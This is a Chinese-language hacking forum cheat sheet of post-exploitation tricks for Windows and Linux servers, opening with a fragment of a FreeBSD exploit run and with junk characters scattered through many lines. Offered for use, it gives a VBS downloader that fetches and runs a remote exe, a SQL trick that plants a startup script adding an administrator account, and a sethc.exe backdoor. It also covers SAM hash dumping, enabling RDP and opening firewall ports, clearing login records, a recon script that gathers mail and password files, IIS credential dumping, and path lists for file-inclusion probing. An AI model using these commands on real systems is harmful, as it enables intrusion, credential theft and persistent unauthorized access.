- E0 i' J) y1 i2 L* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
+ I2 b3 ], D7 t. L0 w6 I# Y5 T* vfs.usermount: 1
5 ?& }) `' o% G4 }% Y" A( U4 R* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
- M4 _7 m0 ]9 S* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
) M* A$ ]3 X0 }9 L0 b6 G0 |" c# ncalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
/ i; B/ A, u3 ]" l3 X% G0 y6 R感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! r. a" q7 h$ T4 I————————————————————————————
) K) t' G" }/ f% g4 \" {6 e1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
" l- h) U& S+ L. t( K{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
% H% k. j% ^8 H! h* i5 t若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
9 d' Y! B  ~) [: m/ B; ?8 w那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
! j2 M6 w% d) d, g/ O0 z}  

  N* u1 p% ~: C  @- E提权先执行systeminfo
token 漏洞补丁号 KB956572
1 K- F4 v( w8 J+ m+ `- i& [Churrasco          kb952004
( M. C$ W9 F: b8 C命令行RAR打包~~·
2 f4 ~  X- f2 q; {rar a -k -r -s -m3 c:\1.rar c:\folder
4 j+ e  t) u. o——————————————
2、收集系统信息的脚本  
. @" @5 u. f( ?! a# G  i- \0 H) |8 kfor window：

@echo off
echo #########system info collection
1 Q, }' [+ G6 ?/ z* Isysteminfo
ver
+ X7 _/ u/ }2 b( c8 Ehostname
net user
3 Q2 k3 p0 Z+ u9 [$ ?0 c9 E! bnet localgroup
8 _2 ?% s! b0 qnet localgroup administrators
0 ?# W; p7 Y% p' j2 d+ P( _net user guest
  u& l7 k/ T' @5 W1 Wnet user administrator
  S4 O0 j1 ^9 m: m
echo #######at- with   atq#####
echo schtask /query

echo
6 t- G- J1 f6 \/ iecho ####task-list#############
- H& B+ ^+ [: M# O4 X' E9 P/ ~/ ptasklist /svc
9 F8 }# }% ^* X# e! Gecho
7 @5 {' _! p4 z/ }4 l% {echo ####net-work infomation
8 k9 `0 t3 z$ o" I9 x8 ~- xipconfig/all
' Y& E) M* L1 b9 [; h) Z/ T$ Vroute print
% @0 P2 U* W% R' X7 varp -a
! m5 F  I; `$ g6 O. x8 e+ Cnetstat -anipconfig /displaydns
echo
echo #######service############
/ I) U+ J( J0 H2 G% D. P0 a$ vsc query type= service state= all
2 _6 a8 H; q0 g, s* q4 [' ~echo #######file-##############
$ I: |8 L9 C+ l; s+ w- \, k8 qcd \
tree -F
for linux：

5 L& r+ Y2 o- Q9 R: L- {$ }#!/bin/bash
6 S6 j3 e5 {. `- p8 i; I8 P
8 V7 t) N$ {! X0 N$ I1 [  F  w. iecho #######geting sysinfo####
$ o% h3 @! q' W/ f( Kecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
6 o! Z$ R2 g! K/ _0 A6 q) K* Ycat /proc/meminfo
( ~1 K6 c+ y5 u# n* V% ]- s- L, iecho
cat /proc/cpuinfo
: a  V3 a2 o  qecho
% V1 v4 Z: y1 @rpm -qa 2>/dev/null
; t" Y- t$ c. S. D8 t  N' y8 X& m######stole the mail......######
8 h/ Z# Y- r# S2 ~cp -a /var/mail /tmp/getmail 2>/dev/null

0 H, v4 g" p0 p2 r1 W3 J
echo 'u'r id is' `id`
echo ###atq&crontab#####
& O. @9 s# _/ N7 a) c* c! @atq
crontab -l
echo #####about var#####
% Z8 Z; B- n! K% @- G3 kset

echo #####about network###
) ~# }$ n2 G0 b  Z. E####this is then point in pentest,but i am a new bird,so u need to add some in it
( C( a- |( @) k8 [' o7 ncat /etc/hosts
; Z. x4 r; ?/ E5 ^2 t) ihostname
' Q; G6 y4 O0 `: B' Y% ^ipconfig -a
arp -v
6 `' M3 l% Q8 n, |7 hecho ########user####
- Y) B2 E5 @6 H, F/ bcat /etc/passwd|grep -i sh
7 a" F  k" X. V, Z, X, _
echo ######service####
6 b+ J/ j' K1 D8 _8 H" `) Q: Zchkconfig --list
8 }2 x3 I0 D# O1 v0 y
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

# d, d3 H$ M( R3 s4 Jlocate passwd >/tmp/password 2>/dev/null
0 V* H2 C+ `. g6 C! g5 ~( @sleep 5
locate password >>/tmp/password 2>/dev/null
; A& o# h3 h# @# p; {sleep 5
& G  R" e, Q* u% C% t7 Klocate conf >/tmp/sysconfig 2>dev/null
& e/ u: W) t6 `sleep 5
, j" E& ~, r2 {7 s8 plocate config >>/tmp/sysconfig 2>/dev/null
4 w) j9 [2 d6 L1 l' n3 B9 h+ Ksleep 5

8 j) L# k/ `1 H( X( I###maybe can use "tree /"###
6 w& w$ ~# l0 t: ~# g. F% b3 oecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
" g7 @' K* ^3 _5 ]4 z5 J——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
6 q/ S3 g5 L& ]# c  M6 r6 `               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
5 W8 E* H+ Q+ l1 T* i% I  F接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
' y: G+ d- h! z3 T% }——————————————
2 S$ @. Q- X7 R( N4、vbs 下载者
" C* a8 W" v- f! z1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
  p+ C$ x" s, B; h. gecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
: Q- J) D; ?5 ^( j2 eecho sGet.Type = 1 >>c:\windows\cftmon.vbs
" Z# v. W7 c8 q, Becho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
. U" ^* @5 t) Z$ D9 Vecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
2 R6 o8 u7 g" u; M+ j  ^# secho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

/ W1 B; l3 O2 N0 L+ k3 v2
On Error Resume Nextim iRemote,iLocal,s1,s2
5 m# O0 R9 s  B" iiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
, {5 N! {5 Y, S% w8 z8 [9 O* iSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
% [+ h! M6 _3 l" F! l
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
$ l7 u% U* n$ q% |' i" Z0 \1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
+ \) y( R; U7 c# }, ]+ I* c2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
$ ?4 J' E) m8 [5 v; N. W- a4 LREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
' e# `. M% r! _  F. sinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
9 L% j! `8 Q- d' f& n4 @& mselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3 S2 n+ I* R6 `————————————————————
7 \5 ^/ w! N! v7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
$ C2 s, X* p0 r5 D' c_____
8、for /d %i in (d:\freehost\*) do @echo %i
! t6 C& s0 x/ y4 U) ~
5 J" V, |9 R) G9 ~- u( {" p列出d的所有目录
' _( P* s2 T- w* q; S  
9 I; i& V; `8 j  for /d %i in (???) do @echo %i
; A8 O2 Z4 |9 z% v) b: L5 E
把当前路径下文件夹的名字只有1-3个字母的打出来
, A5 C+ Q, Y6 u7 ~
2.for /r %i in (*.exe) do @echo %i
  
# n: t# f# t0 D; O# @/ X: i以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
2 P. k# e8 k/ Q) R; O  [# I
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

- e$ r8 p, V* ~" v$ q# h# [7 a3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
" v- m3 D% p& \  ?! K. j; o. Qreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

: N8 i# A- j5 y% j! z: T5 D2.修改3389的默认端口:
- ?/ v! }( ^$ C5 c3 b" L. t$ [HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
# O5 d. e8 [$ {9 W, S  j6 C+ @修改PortNumber.

' A% _& Y* B" a( s6 V3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
% {3 ~$ z" U5 w# d+ p- _* }
- @) D4 A, s; d) P9 u  L, q4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

4 r, Y" C- c# ^# {" Y* I5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
. m* ^9 j9 \  C9 r
, l& C/ ]& j9 z. w! g, f6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
/ G$ l2 v6 r: {) d6 T+ }netsh ipsec dynamic set config ipsecexempt value=0

; B# J+ i% X0 N% Y: O7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
5 B, L  X2 f9 o; Y5 f; s( P
1 x3 U; o( i9 N, |$ x8.系统口令恢复LM加密:
( L9 T* h% C0 K: y8 J6 \( r) B3 ]( {( Areg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
3 L7 V- ^% P; E% h
9.另类方法抓系统密码HASH
* w. L. i6 l4 Breg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
8 Z9 Y# \) k0 t( h9 e1 w& f7 Y* Q-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
+ a6 L3 W7 d9 d' g8 g6 X! YchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
3 Y8 y+ M  i; O4 qset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
6 \( P0 Y$ Z) kmsgbox("error!")
wscript.quit
( q- @$ T( |7 G5 L! ^* f& Iend if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
  U$ I) }0 w% k/ u: ^0 Plist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
7 P* b( L! H: W" E复制代码
* p" C7 Q' w: C----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
7 g- m& b* C" B+ s% F将folder.htt文件，加入以下代码：
* K" J. x  V5 D) g<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
6 W9 u' D1 I) ]/ L复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
, O$ y( Z% l! D- r% Xasp代码，利用的时候会出现登录问题
8 a9 u4 D6 a, h/ @0 \ 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
8 }$ K- U. b) T, x6 G% g, e 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
# ]1 L+ I8 c5 t4 w
==============================================================
/ g3 G3 J: T* |' _4 q, RLINUX常见路径：
& Z: z; y) ?, M
/etc/passwd
/etc/shadow
( H) _& U# t# R$ e# c9 K" t- b) v/etc/fstab
/etc/host.conf
; @9 w1 ]6 r7 o8 ^' L+ B/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
1 Z& E9 F6 }' ?! K! S/var/httpd/conf/php.ini
% \" T) Q: T/ B% M' G# Y# }/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
! F2 h: L4 @0 e9 W/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
1 g* T. u$ ^* O7 Z, \: K/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
: l* \( Z/ E5 E9 ?/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
4 C5 Q0 N5 \5 [6 Q& x  T/usr/local/apache/htdocs/index.php
* A  _( b  o' L8 B. k/ K8 Y/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
0 w9 i$ r6 w" o3 j6 i/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
: k0 U- @0 `% d' l' W3 s/etc/httpd/htdocs/index.html
/www/php/php.ini
& q4 {9 k7 ^' b5 ~) i; w3 k5 u/www/php4/php.ini
/www/php5/php.ini
6 D8 h3 M' z' t0 r( i4 B& q4 M' w/www/conf/httpd.conf
) f! V+ p/ Z7 ?! ^/www/htdocs/index.php
. Q' o; }' |7 b5 w5 s! B& O/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
- w9 G5 T4 Q' s# {/etc/apache/apache.conf
2 `, O! {2 o: J9 k- F/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
  v3 C7 o% Q! F/etc/apache2/vhosts.d/00_default_vhost.conf
7 j* R8 c9 x6 h% K/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
8 J) F) L; d1 I( x% u3 R/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
6 C( t# Q$ o5 h  k& J  E/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/ q4 y6 Q; E1 \) l) O/etc/httpd/logs/access.log
+ t7 w' C9 ~4 w2 {/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
) H+ M0 @/ P. v) @/var/log/apache/error.log
, K3 P  q7 {; T  n/var/log/apache/access_log
' ~# X; M  u  G1 E: P- J/var/log/apache/access.log
/var/log/apache2/error_log
1 K7 R2 ]& {; U/ C1 b) f( l0 @( t/var/log/apache2/error.log
2 }; E9 J  I1 h$ M' t6 ]$ I/var/log/apache2/access_log
) q; l+ X5 {8 Z. M0 Q1 v/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
' c, B% O9 o6 C) c1 B/var/www/logs/access.log
- x/ {' J0 z# h- u/usr/local/apache/logs/error_log
. y  L; c" l' V; c/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
0 Q, [' @: h8 D% b$ I" B% t/ I/usr/local/apache/logs/access.log
2 Z7 A3 A  r$ _5 E, L3 O+ U9 W2 T; k( W/var/log/error_log
3 u+ Z# B2 X! {# b/var/log/error.log
/ t: c1 P1 L0 h# `1 r/var/log/access_log
/var/log/access.log
. y3 P" k* F- I. u1 K+ ?; c. J3 F/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
+ c4 d6 o2 ]% M; s: Z' n/etc/init.d/httpd
- v( x+ R  b) |1 S- e1 [/etc/init.d/mysql
9 t" b! x1 K2 }. T6 m/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
! ?( a3 r7 g$ P4 K/ v/usr/local/etc/php.ini
; P9 R' \2 i; p7 @, J% z/usr/local/lib/php.ini
1 P4 r9 X3 l( s" Y. Y) a% U: X/usr/local/php/lib/php.ini
, S9 A3 v8 J! Y/ w( S/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/ g. C& }& z/ o3 d7 M& @2 y/ f/ e/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/ n( X# c2 a# F* Y* Y4 ~/usr/local/php5/php5.ini
0 A* ^7 ^: Q) f8 G/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
) J+ v& M5 c" J' k. U- S/usr/local/apache2/conf/php.ini
$ w, M& c, C+ B* M9 z" N  C; I/etc/php4.4/fcgi/php.ini
' e9 ^) N% A3 ~, h4 b+ W/etc/php4/apache/php.ini
' y& w9 p4 d  I& l/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
% H7 i& @) n7 W/etc/php5/apache2/php.ini
- g+ {$ F3 D0 T6 s& F5 h4 w  i) ^* A/etc/php/php.ini
1 N2 A, O$ z7 \. S/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
6 H( N8 z1 h+ a. |9 c9 @/web/conf/php.ini
- ?" |) p. k9 C( Z6 b/ _) o/usr/local/Zend/etc/php.ini
, S2 ]- c& c- q3 q' {- d' g/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
0 c" e( @# ~9 e6 ?) L0 a2 y# G/etc/php4/cgi/php.ini
/ P8 E  u; d" Y0 I! a/etc/php5/cgi/php.ini
. V" w$ N3 w5 L' B6 j4 @* _, L4 ?/php5/php.ini
/php4/php.ini
: U) i: N& a1 Z9 `. Z/php/php.ini
/PHP/php.ini
* h. U5 ?7 X3 `1 T& d7 q/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
2 u0 u8 x, W/ Y; [2 x3 s/home2/bin/stable/apache/php.ini
; `+ r( G& Y% _2 g+ u3 F7 A" g4 M/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
4 S2 c$ b% F) i, P3 R* e/var/log/mysql/mysql.log
& L3 Z' N: K* d( ?/ Q7 H- Y* O5 e6 Q/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
2 _4 Y0 c% s" ?% M/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
+ [/ N' o& A. S1 W: R/ D! @/usr/local/cpanel/logs
/ V; ^& Z% i7 A; F: r/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
% z6 Z; o2 J7 |# T: [4 i/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
, a" N: m* \- ?/usr/local/share/examples/php4/php.ini
. x4 e1 l8 D2 R. V" D! W$ d: {! h2 E/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
( D$ r( m6 \! F; L; mc:\1.txt
9 ~* @, s% _8 M  C0 v7 h# m, Tc:\a.txt

c:\CMailServer\config.ini
/ Y& g2 w- w9 hc:\CMailServer\CMailServer.exe
" F  b( I" D! S  ?, N& mc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
' k+ n& f( C) T: A8 c4 x  o# ~C:\WINDOWS\7i24tool.exe
! [  O5 B' ]2 h" Q% k
1 I' m7 @9 ?$ ]' ^5 y; Qc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
* c* T) p# _* i
4 [' L9 ]0 ]! a" r2 BC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
/ W1 H+ Y+ a! Y$ B) xc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
& l1 K8 |$ D2 wc:\www\index.asp
7 H; \* S# Q+ T; D1 _c:\wwwsite\index.asp
3 u: C0 t( U) K/ ?4 @1 z. q2 sc:\WWWROOT\index.asp
6 ], R8 B* H* v, \0 Z) k) ]; O+ xc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
( S& r2 v- l+ R4 Ac:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
2 i; w& u8 P1 H+ l: w* bc:\WWWROOT\default.html
c:\website\default.html
9 O. E5 ?# ]; x2 M9 e$ c" \c:\web\default.asp
/ R5 R1 ]) f' w5 Q1 hc:\www\default.asp
2 V8 A7 H8 s% h+ [7 A: Yc:\wwwsite\default.asp
9 Z6 y1 q- R! A* q( c' L, n7 Vc:\WWWROOT\default.asp
c:\web\default.php
. b- v" }/ a6 H. Pc:\www\default.php
8 M1 N4 Q3 U4 \2 Z3 Xc:\WWWROOT\default.php
c:\WWWsite\default.php
: X) O; |% s( P/ K* DC:\Inetpub\wwwroot\pagerror.gif
- G- n7 O4 l. A+ R- B. Q- Pc:\windows\notepad.exe
( [( w. Z* l3 _9 W: Wc:\winnt\notepad.exe
& C; ]) o7 I  r7 BC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
. t# \- y/ D* u* J+ J7 L$ tC:\Program Files\Microsoft Office\OFFICE12\winword.exe
8 h! p- `! @" `# l, RC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
3 m9 Z0 n1 Y& R6 y- {! N/ NC:\Program Files\360\360Safe\360safe.exe
# M5 G! {* O% CC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
( ~, X, j& y  ~c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
; e' a2 J' S- [4 l3 {1 eC:\Documents and Settings\Administrator\My Documents\Default.rdp
! \: P) M% B; c, nC:\Documents and Settings\Administrator\Cookies\index.dat
& Y$ [- y# ^6 l& y% EC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
: L/ e$ A8 `% G. g5 m# kC:\Documents and Settings\Administrator\桌面\1.txt
) q! s; C+ I" S3 h  P. t9 \C:\Documents and Settings\Administrator\My Documents\a.txt
, G& R$ A! F6 O% AC:\Documents and Settings\Administrator\桌面\a.txt
, [+ ?5 i! T& c: L( D# }4 NC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
+ P; G" p- O/ H; j* tE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
3 A, l) V! f! X! gC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
8 E8 i+ b! q8 D/ v  FC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
8 d" d4 p2 P, P5 C/ S9 t4 V  OC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
4 P: }- u! t0 p% G1 DC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
* M$ z9 Z  V2 n# Z" q9 p! kC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
$ Z- N% p- v. Q1 f' R6 LC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
4 e; V4 I% Z1 j8 LC:\Program Files\MySQL\MySQL Server 5.0\my.ini
( A, G' B  \3 |6 M, M% |C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
$ d5 ?1 l/ P* X* q& p5 oC:\Program Files\MySQL\MySQL Server 5.0\COPYING
0 N4 w+ W8 w/ Z7 ?6 ZC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
/ U2 p6 V* r8 {: WC:\WINDOWS\system32\inetsrv\w3wp.exe
  z1 D, T# \4 K9 m& r; \$ C# @C:\WINDOWS\system32\inetsrv\inetinfo.exe
, u5 q" {( i2 c& _C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
4 h& `! {4 W8 m5 _7 ]. PC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
' x  m$ B. N6 m1 c/ O8 U5 sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
! f2 A! j# ~! U( L+ ~c:\tomcat6\bin\version.sh
. d& }$ [. s$ m! n4 b  X3 i: [: Mc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
( |8 U3 h; Y/ l) kC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
4 ?2 j. i3 b7 G. C) c" X6 t1 _c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
